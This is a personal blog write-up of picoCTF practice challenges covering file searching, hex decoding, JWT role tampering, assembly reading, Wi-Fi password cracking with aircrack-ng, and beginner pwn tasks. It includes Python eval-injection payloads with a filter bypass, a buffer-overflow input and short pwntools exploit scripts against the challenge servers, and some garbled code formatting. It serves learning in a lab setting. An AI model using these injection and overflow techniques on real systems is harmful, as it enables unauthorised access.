Post

Picoexclusive Writeup

PicoCTF Exclusive

Pico GYM repractice Starting : 12/2/2024 Finish : 13/2/2024

Pending Task :

  1. Reverse Engineering - Picker III

General Skill

First Find

Description Unzip this archive and find the file named ‘uber-secret.txt’

Unzip the file and use gio tree

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(sofarz㉿badboy)-[~/Desktop/CTF/Pico/Exclusive]
└─$ gio tree -h files 
file:///home/sofarz/Desktop/CTF/Pico/Exclusive/files
|-- 13771.txt.utf-8
|-- 14789.txt.utf-8
|-- acceptable_books
|   |-- 17879.txt.utf-8
|   |-- 17880.txt.utf-8
|   `-- more_books
|       `-- 40723.txt.utf-8
|-- adequate_books
|   |-- 44578.txt.utf-8
|   |-- 46804-0.txt
|   `-- more_books
|       |-- .secret
|       |   `-- deeper_secrets
|       |       `-- deepest_secrets
|       |           `-- uber-secret.txt
|       `-- 1023.txt.utf-8
`-- satisfactory_books
    |-- 16021.txt.utf-8
    |-- 23765.txt.utf-8
    `-- more_books
        `-- 37121.txt.utf-8

==picoCTF{f1nd_15_f457_ab443fd1}==


Big Zip

Description Unzip this archive and find the flag.

└─$ strings * | grep -r "pico"             
strings: Warning: 'big-zip-files' is a directory
grep: files.zip: binary file matches
big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/whzxrpivpqld.txt:information on the record will last a billion years. Genes and brains and books encode picoCTF{gr3p_15_m4g1c_ef8790dc}

==picoCTF{gr3p_15_m4g1c_ef8790dc}==


ASCII Numbers

Description

Convert the following string of ASCII numbers into a readable string:

1
2
0x70 0x69 0x63 0x6f 0x43 0x54 0x46 0x7b 0x34 0x35 0x63 0x31 0x31 0x5f 0x6e 0x30 0x5f 0x71 0x75 0x33 0x35 0x37 0x31 0x30 0x6e 0x35 0x5f 0x31 0x6c 0x6c 0x5f 0x74 0x33 0x31 0x31 0x5f 0x79 0x33 0x5f 0x6e 0x30 0x5f 0x6c 0x31 0x33 0x35 0x5f 0x34 0x34 0x35 0x64 0x34 0x31 0x38 0x30 0x7d

First anaylis it was hex. Convert it into ASCII.

==picoCTF{45c11_n0_qu35710n5_1ll_t311_y3_n0_l135_445d4180}==

Web

JAuth

Description Most web application developers use third party components without testing their security. Some of the past affected companies are:

1
2
3
Equifax (a US credit bureau organization) - breach due to unpatched Apache Struts web framework CVE-2017-5638
Mossack Fonesca (Panama Papers law firm) breach - unpatched version of Drupal CMS used
VerticalScope (internet media company) - outdated version of vBulletin forum software used

Can you identify the components and exploit the vulnerable one? The website is running here. Can you become an admin? You can login as test with the password Test123! to get started.

Initital Analysis

We can login user test:Test123! . Checking via cookies, it was Jason Web Token (JWT)

1
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoxNzA3Njc2MzM1NDg1LCJhZ2VudCI6Ik1vemlsbGEvNS4wIChYMTE7IExpbnV4IHg4Nl82NDsgcnY6MTA5LjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvMTE1LjAiLCJyb2xlIjoidXNlciIsImlhdCI6MTcwNzY3NjMzNX0.H-kzrFK9Qt9kamYIeLzBVC2zGWeDsETMzz_VwbJZWtA

image

It also mention about past vulnerbailites where it can tampered role from user to admin.

image At first encounter this problem, after reading the 2nd hint it mention about 2 part, after reviewing my JWT token, notice that my token only 1 part. How to make it 2 part?? (.) yes!!. separate by dot (.)

==picoCTF{succ3ss_@u7h3nt1c@710n_72bf8bd5}==

RE

ASCII FTW

Description This program has constructed the flag using hex ascii values. Identify the flag text by disassembling the program. You can download the file from here.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
        0010117e 48 89 45 f8     MOV        qword ptr [RBP + local_10],RAX
        00101182 31 c0           XOR        EAX,EAX
        00101184 c6 45 d0 70     MOV        byte ptr [RBP + local_38],0x70
        00101188 c6 45 d1 69     MOV        byte ptr [RBP + local_37],0x69
        0010118c c6 45 d2 63     MOV        byte ptr [RBP + local_36],0x63
        00101190 c6 45 d3 6f     MOV        byte ptr [RBP + local_35],0x6f
        00101194 c6 45 d4 43     MOV        byte ptr [RBP + local_34],0x43
        00101198 c6 45 d5 54     MOV        byte ptr [RBP + local_33],0x54
        0010119c c6 45 d6 46     MOV        byte ptr [RBP + local_32],0x46
        001011a0 c6 45 d7 7b     MOV        byte ptr [RBP + local_31],0x7b
        001011a4 c6 45 d8 41     MOV        byte ptr [RBP + local_30],0x41
        001011a8 c6 45 d9 53     MOV        byte ptr [RBP + local_2f],0x53
        001011ac c6 45 da 43     MOV        byte ptr [RBP + local_2e],0x43
        001011b0 c6 45 db 49     MOV        byte ptr [RBP + local_2d],0x49
        001011b4 c6 45 dc 49     MOV        byte ptr [RBP + local_2c],0x49
        001011b8 c6 45 dd 5f     MOV        byte ptr [RBP + local_2b],0x5f
        001011bc c6 45 de 49     MOV        byte ptr [RBP + local_2a],0x49
        001011c0 c6 45 df 53     MOV        byte ptr [RBP + local_29],0x53
        001011c4 c6 45 e0 5f     MOV        byte ptr [RBP + local_28],0x5f
        001011c8 c6 45 e1 45     MOV        byte ptr [RBP + local_27],0x45
        001011cc c6 45 e2 41     MOV        byte ptr [RBP + local_26],0x41
        001011d0 c6 45 e3 53     MOV        byte ptr [RBP + local_25],0x53
        001011d4 c6 45 e4 59     MOV        byte ptr [RBP + local_24],0x59
        001011d8 c6 45 e5 5f     MOV        byte ptr [RBP + local_23],0x5f
        001011dc c6 45 e6 33     MOV        byte ptr [RBP + local_22],0x33
        001011e0 c6 45 e7 43     MOV        byte ptr [RBP + local_21],0x43
        001011e4 c6 45 e8 46     MOV        byte ptr [RBP + local_20],0x46
        001011e8 c6 45 e9 34     MOV        byte ptr [RBP + local_1f],0x34
        001011ec c6 45 ea 42     MOV        byte ptr [RBP + local_1e],0x42
        001011f0 c6 45 eb 46     MOV        byte ptr [RBP + local_1d],0x46
        001011f4 c6 45 ec 41     MOV        byte ptr [RBP + local_1c],0x41
        001011f8 c6 45 ed 44     MOV        byte ptr [RBP + local_1b],0x44
        001011fc c6 45 ee 7d     MOV        byte ptr [RBP + local_1a],0x7d
        00101200 0f b6 45 d0     MOVZX      EAX,byte ptr [RBP + local_38]
        00101204 0f be c0        MOVSX      EAX,AL
        00101207 89 c6           MOV        ESI,EAX
        00101209 48 8d 3d        LEA        RDI,[s_The_flag_starts_with_%x_00102004]         = "The flag starts with %x\nf4 0d 00 00


By understanding how this program works and looking into ghidra, it can conclude that this assembly never been call but it contains flags.

==picoCTF{ASCII_IS_EASY_3CF4BFAD}==


Bit-O-Asm-1

Description Can you figure out what is in the eax register? Put your answer in the picoCTF flag format: picoCTF{n} where n is the contents of the eax register in the decimal number base. If the answer was 0x11 your flag would be picoCTF{17}. Download the assembly dump here.

1
2
3
4
5
6
7
8
9
<+0>:     endbr64 
<+4>:     push   rbp
<+5>:     mov    rbp,rsp
<+8>:     mov    DWORD PTR [rbp-0x4],edi
<+11>:    mov    QWORD PTR [rbp-0x10],rsi
<+15>:    mov    eax,0x30
<+20>:    pop    rbp
<+21>:    ret

The first top line was dummy since it not touch any value in EAX, Then mov eax,0x30. which mean copy value 0x30 into EAX. The answer is 0x30 (48)

==picoCTF{48}==


Bit-O-Asm-2

Description Can you figure out what is in the eax register? Put your answer in the picoCTF flag format: picoCTF{n} where n is the contents of the eax register in the decimal number base. If the answer was 0x11 your flag would be picoCTF{17}. Download the assembly dump here.

1
2
3
4
5
6
7
8
9
10
<+0>:     endbr64 
<+4>:     push   rbp
<+5>:     mov    rbp,rsp
<+8>:     mov    DWORD PTR [rbp-0x14],edi
<+11>:    mov    QWORD PTR [rbp-0x20],rsi
<+15>:    mov    DWORD PTR [rbp-0x4],0x9fe1a
<+22>:    mov    eax,DWORD PTR [rbp-0x4]
<+25>:    pop    rbp
<+26>:    ret

Same as previous, but this time it refer to [rbp-0x4]. Refer to line 15, it copy the value 0x9fe1a(654874).

==picoCTF{654874}==


Bit-O-Asm-3

Description Can you figure out what is in the eax register? Put your answer in the picoCTF flag format: picoCTF{n} where n is the contents of the eax register in the decimal number base. If the answer was 0x11 your flag would be picoCTF{17}. Download the assembly dump here.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<+0>:     endbr64 
<+4>:     push   rbp
<+5>:     mov    rbp,rsp
<+8>:     mov    DWORD PTR [rbp-0x14],edi
<+11>:    mov    QWORD PTR [rbp-0x20],rsi
<+15>:    mov    DWORD PTR [rbp-0xc],0x9fe1a
<+22>:    mov    DWORD PTR [rbp-0x8],0x4
<+29>:    mov    eax,DWORD PTR [rbp-0xc]
<+32>:    imul   eax,DWORD PTR [rbp-0x8]
<+36>:    add    eax,0x1f5
<+41>:    mov    DWORD PTR [rbp-0x4],eax
<+44>:    mov    eax,DWORD PTR [rbp-0x4]
<+47>:    pop    rbp
<+48>:    ret

Focus on line 14,22,29,32,36

1
2
3
4
5
eax = 0x9fe1a
imul eax, 0x4
add eax,0x1f5

eax = (0x9fe1a * 0x4) + 0x1f5

==picoCTF{2619997}==


Bit-O-Asm-4

Description Can you figure out what is in the eax register? Put your answer in the picoCTF flag format: picoCTF{n} where n is the contents of the eax register in the decimal number base. If the answer was 0x11 your flag would be picoCTF{17}. Download the assembly dump here.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<+0>:     endbr64 
<+4>:     push   rbp
<+5>:     mov    rbp,rsp
<+8>:     mov    DWORD PTR [rbp-0x14],edi
<+11>:    mov    QWORD PTR [rbp-0x20],rsi
<+15>:    mov    DWORD PTR [rbp-0x4],0x9fe1a
<+22>:    cmp    DWORD PTR [rbp-0x4],0x2710
<+29>:    jle    0x55555555514e <main+37>
<+31>:    sub    DWORD PTR [rbp-0x4],0x65
<+35>:    jmp    0x555555555152 <main+41>
<+37>:    add    DWORD PTR [rbp-0x4],0x65
<+41>:    mov    eax,DWORD PTR [rbp-0x4]
<+44>:    pop    rbp
<+45>:    ret

This time it include comparism between value.

1
2
3
4
5
6
7
8
rbp-0x4 = 0x9fe1a
cmp = mean compare, (0x9fe1a <operator> 0x2710)
operator = jle (<=)
(0x9fe1a <= 0x2710)
if true sub with 0x65
else add with 0x65

It return true then the subtration operation happen.

==picoCTF{654773}==


Picker I

Description This service can provide you with a random number, but can it do anything else? Connect to the program with netcat: $ nc saturn.picoctf.net 55986 The program’s source code can be downloaded here.

1
2
3
4
5
6
7
while(True):
  try:
    print('Try entering "getRandomNumber" without the double quotes...')
    user_input = input('==> ')
    eval(user_input + '()')
  except Exception as e:
    print(e)

This code are vulnerable where it use eval(). Looking into win() and that is our target.

1
2
3
4
5
6
7
8
9
10
Try entering "getRandomNumber" without the double quotes...
==> getRandomNumber
4
Try entering "getRandomNumber" without the double quotes...
==> win
[Errno 2] No such file or directory: 'flag.txt'
Try entering "getRandomNumber" without the double quotes...
==> print(open('flag.txt', 'r').read())
[Errno 2] No such file or directory: 'flag.txt'

Simple script,

1
2
3
4
5
6
from pwn import *

r = remote('saturn.picoctf.net', 55986)

r.sendlineafter('quotes...',b'win')
get = r.interactive()

==picoCTF{4_d14m0nd_1n_7h3_r0ugh_b523b2a1}==


Picker II

Description Can you figure out how this program works to get the flag?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def filter(user_input):
  if 'win' in user_input:
    return False
  return True


while(True):
  try:
    user_input = input('==> ')
    if( filter(user_input) ):
      eval(user_input + '()')
    else:
      print('Illegal input')
  except Exception as e:
    print(e)

Same as picker-I, but this time the word WIN being filter. Bypass the function win by calling directly the flag.

1
print(open('flag.txt', 'r').read())

==picoCTF{f1l73r5_f41l_c0d3_r3f4c70r_m1gh7_5ucc33d_b924e8e5}==


Picker III

Description Can you figure out how this program works to get the flag?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
def reset_table():
  global func_table

  # This table is formatted for easier viewing, but it is really one line
  func_table = \
\
print_table                     \
read_variable                   \
write_variable                  \
getRandomNumber                 \
---Snippet---

def read_variable():
  var_name = input('Please enter variable name to read: ')
  if( filter_var_name(var_name) ):
    eval('print('+var_name+')')
  else:
    print('Illegal variable name')


def filter_value(value):
  if ';' in value or '(' in value or ')' in value:
    return False
  else:
    return True


def write_variable():
  var_name = input('Please enter variable name to write: ')
  if( filter_var_name(var_name) ):
    value = input('Please enter new value of variable: ')
    if( filter_value(value) ):
      exec('global '+var_name+'; '+var_name+' = '+value)
    else:
      print('Illegal value')
  else:
    print('Illegal variable name')

From what can conclude, we cannot put previous payload since it to long. But there is some bug that i can use where create a new variable and run the variable.

1
2
3
4
5
6
7
8
IDEA
3 -> to create variable
win -> name it (can be anything)
open('flag.txt', 'r').read() -> need to modify since filtered.
"open" + "\x28" + "\"flag.txt\"" + "," + "\"r\"" + "\x29" + ".read" + "\x28" + "\x29"

2 -> to read variable
win -> our created variable.

That is how it will work, but im stucking in displaying the flag.

1
2
3
4
5
6
7
8
 python3 picker-III.py
==> 3
Please enter variable name to write: win
Please enter new value of variable: "open" + "\x28" + "\"flag.txt\"" + "," + "\"r\"" + "\x29" + ".read" + "\x28" + "\x29"
==> 2
Please enter variable name to read: win
open("flag.txt","r").read()

TODO


GDB baby step 1

Description Can you figure out what is in the eax register at the end of the main function? Put your answer in the picoCTF flag format: picoCTF{n} where n is the contents of the eax register in the decimal number base. If the answer was 0x11 your flag would be picoCTF{17}. Disassemble this.

1
2
3
4
0x555555555131 <main+8>                        mov    dword ptr [rbp - 4], edi
   0x555555555134 <main+11>                       mov    qword ptr [rbp - 0x10], rsi
   0x555555555138 <main+15>                       mov    eax, 0x86342
   0x55555555513d <main+20>                       pop    rbp

Checking into dissamble, the value 0x86342 being pass into eax.

==picoCTF{549698}==

GDB Baby Step 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 ndbg> disass main
Dump of assembler code for function main:
   0x0000000000401106 <+0>:     endbr64
   0x000000000040110a <+4>:     push   rbp
   0x000000000040110b <+5>:     mov    rbp,rsp
=> 0x000000000040110e <+8>:     mov    DWORD PTR [rbp-0x14],edi
   0x0000000000401111 <+11>:    mov    QWORD PTR [rbp-0x20],rsi
   0x0000000000401115 <+15>:    mov    DWORD PTR [rbp-0x4],0x1e0da
   0x000000000040111c <+22>:    mov    DWORD PTR [rbp-0xc],0x25f
   0x0000000000401123 <+29>:    mov    DWORD PTR [rbp-0x8],0x0
   0x000000000040112a <+36>:    jmp    0x401136 <main+48>
   0x000000000040112c <+38>:    mov    eax,DWORD PTR [rbp-0x8]
   0x000000000040112f <+41>:    add    DWORD PTR [rbp-0x4],eax
   0x0000000000401132 <+44>:    add    DWORD PTR [rbp-0x8],0x1
   0x0000000000401136 <+48>:    mov    eax,DWORD PTR [rbp-0x8]
   0x0000000000401139 <+51>:    cmp    eax,DWORD PTR [rbp-0xc]
   0x000000000040113c <+54>:    jl     0x40112c <main+38>
   0x000000000040113e <+56>:    mov    eax,DWORD PTR [rbp-0x4]
   0x0000000000401141 <+59>:    pop    rbp

Simple words, open the gdb and set into Intel.

1
2
3
4
5
6
7
set disassembly-flavor intel
break main
layout asm
r
break *0x401142
c
print/d $eax

==picoCTF{307019}==

Forensics

WPA-ing Out

Description I thought that my password was super-secret, but it turns out that passwords passed over the AIR can be CRACKED, especially if I used the same wireless network password as one in the rockyou.txt credential dump. Use this ‘pcap file’ and the rockyou wordlist. The flag should be entered in the picoCTF{XXXXXX} format.

Initial Analysis

Open the pcap file and we notice protocol 802.11 which mean this is networking (Wi-Fi). image

The challenge mention about password and wireless. We can use aircrack-ng to crack the password. aircrack-ng wpa-ing_out.pcap -w /usr/share/wordlists/rockyou.txt

==picoCTF{mickeymouse}==

Binary/Pwn

Local Target

Description Smash the stack Can you overflow the buffer and modify the other local variable? The program is available here. You can view source here. And connect with it using: nc saturn.picoctf.net 57499

Initial Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
char input[16];
  int num = 64;
  
  printf("Enter a string: ");
  fflush(stdout);
  gets(input);
  printf("\n");
  
  printf("num is %d\n", num);
  fflush(stdout);
  
  if( num == 65 ){
    printf("You win!\n");
    fflush(stdout);
    // Open file
    fptr = fopen("flag.txt", "r");
    if (fptr == NULL)

There was a condition to meet where the num need to be 65. But there was no input/call for variable num. Only have input for strings.

  1. Exploit directly using 16 + 8(since this 64 byte) = 24 char
    1
    2
    
    echo -e 'AAAAAAAAAAAAAAAAAAAAAAAA\x41' | ./local-target
    -- A contains of 24 bit. Which mean we already at stack. Then push /41(65) value into stack, that will call num = 65.
    
  2. Using GDB (still new to me) ``` Launch using GDB cylic 100 run + put cyclic value cyclic -l RIP cyclic -l (RBP)

For this we nee to use RBP since the flag call in main function. Still in the same stack.

1

Payload from pwn import * import os

#io = remote(‘saturn.picoctf.net’, 64428) io = process(‘./local-target’)

Padding is offset - 8 bytes.

padding = 24

p = flat([ asm(‘nop’) * padding, 0x41 # send value 65 here. ])

io.sendlineafter(b’:’, p) io.interactive()

1
2
3
4
5
6
7
8
9
10
11
![image](https://hackmd.io/_uploads/ryo0MoIip.png)
==picoCTF{l0c4l5_1n_5c0p3_fee8ef05}==


---

### Picker IV
**Description**
Can you figure out how this program works to get the flag? Connect to the program with netcat: $ nc saturn.picoctf.net 63096 The program's source code can be downloaded here. The binary can be downloaded here.

Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)

1
2
3
The PIE is unable which mean the memory address will be fix everytime program run.

Checking the source code

#include #include #include #include

void print_segf_message(){ printf(“Segfault triggered! Exiting.\n”); sleep(15); exit(SIGSEGV); }

int win() { FILE *fptr; char c;

printf(“You won!\n”); // Open file fptr = fopen(“flag.txt”, “r”); if (fptr == NULL) { printf(“Cannot open file.\n”); exit(0); } –snippet–

int main() { signal(SIGSEGV, print_segf_message); setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered

unsigned int val; printf(“Enter the address in hex to jump to, excluding ‘0x’: “); scanf(“%x”, &val); printf(“You input 0x%x\n”, val);

void (foo)(void) = (void ()())val; foo(); }

1
2
3
4
5
6
Got 2 function name as **main** and **win**. Briefly checking the main function, we known that we need to specifically enter address to jump/call.

It was direct and can be done using objdump
`objdump -d picker-IV| grep win `

Supply the address to the input.

./picker-IV
Enter the address in hex to jump to, excluding ‘0x’: 0x40129e
You input 0x40129e

1
2
Using GDB

pwndbg> info functions win All functions matching regular expression “win”:

Non-debugging symbols: 0x000000000040129e win

1
2
Payload will look like 

from pwn import *

#r = remote(‘’,) r = process(“./picker-IV”)

0x000000000040129e

win = b’40129e’

r.sendlineafter(“‘0x’: “,win) r.interactive()

```

==picoCTF{n3v3r_jump_t0_u53r_5uppl13d_4ddr35535_01672a61}==

Resources

  1. Tools - hex JWT
This post is licensed under CC BY 4.0 by the author.